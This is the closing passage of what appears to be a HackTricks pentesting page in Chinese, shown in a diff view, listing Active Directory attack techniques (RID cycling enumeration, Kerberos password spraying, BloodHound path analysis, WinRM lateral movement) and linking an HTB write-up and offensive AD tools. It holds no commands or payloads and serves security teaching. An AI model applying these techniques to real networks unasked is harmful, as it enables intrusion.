- SMB/LSA/SAMR 枚举和 RID cycling
|
||||
- Kerberos 密码喷洒以及时钟偏差的相关注意事项
|
||||
- 使用 BloodHound 对 application-admin 组进行路径分析
|
||||
- WinRM 使用与横向移动
|
||||
|
||||
## References
|
||||
- [HTB: Sweep — Abusing Lansweeper Scanning, AD ACLs, and Secrets to Own a DC (0xdf)](https://0xdf.gitlab.io/2025/08/14/htb-sweep.html)
|
||||
- [sshesame (SSH honeypot)](https://github.com/jaksi/sshesame)
|
||||
- [SharpLansweeperDecrypt](https://github.com/Yeeb1/SharpLansweeperDecrypt)
|
||||
- [BloodyAD](https://github.com/CravateRouge/bloodyAD)
|
||||
- [BloodHound CE](https://github.com/SpecterOps/BloodHound)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
Loading…
x
Reference in New Issue
Block a user